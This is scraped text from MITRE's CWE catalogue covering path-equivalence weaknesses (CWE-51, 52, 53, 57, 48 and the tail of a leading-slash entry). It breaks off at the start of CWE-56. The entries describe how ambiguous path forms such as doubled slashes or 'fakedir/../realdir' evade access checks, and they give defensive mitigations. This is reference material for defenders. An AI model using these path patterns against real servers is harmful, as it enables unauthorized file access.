Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Read files with full pathname using multiple internal slash.
Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.
Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request.
Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.
Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.
Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.
Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).
Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences.
Access directory using multiple leading slash.
Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER//multiple/leading/slash ('multiple leading slash')
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Multiple Leading Slash - //multiple/leading/slash

CWE-51: Path Equivalence: '/multiple//internal/slash'

Weakness ID: 51
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Read files with full pathname using multiple internal slash.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER/multiple//internal/slash ('multiple internal slash')
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Multiple Internal Slash - /multiple//internal/slash

CWE-52: Path Equivalence: '/multiple/trailing/slash//'

Weakness ID: 52
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.163Improper Neutralization of Multiple Trailing Special Elements
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.289Authentication Bypass by Alternate Name
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Directory listings in web server using multiple trailing slash
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER/multiple/trailing/slash// ('multiple trailing slash')
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Multiple Trailing Slash - /multiple/trailing/slash//

CWE-53: Path Equivalence: '\multiple\\internal\backslash'

Weakness ID: 53
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of multiple internal backslash ('\multiple\trailing\\slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.165Improper Neutralization of Multiple Internal Special Elements
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER\multiple\\internal\backslash
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Multiple Internal Backslash - \multiple\\internal\backslash

CWE-57: Path Equivalence: 'fakedir/../realdir/filename'

Weakness ID: 57
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters.
application check access for restricted URL before canonicalization
CGI source disclosure using "dirname/../cgi-bin"
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERdirname/fakechild/../realchild/filename
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Name, Observed_Examples, Other_Notes, Theoretical_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - dirname/fakechild/../realchild/filename
2008-10-14Path Equivalence: 'dirname/fakechild/../realchild/filename'

CWE-48: Path Equivalence: 'file name' (Internal Whitespace)

Weakness ID: 48
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.
"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

Relationship

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERfile(SPACE)name (internal space)
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Applicable_Platforms, Other_Notes, Relationship_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Internal Space - file(SPACE)name

CWE-56: Path Equivalence: 'filedir*' (Wildcard)

Weakness ID: 56
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
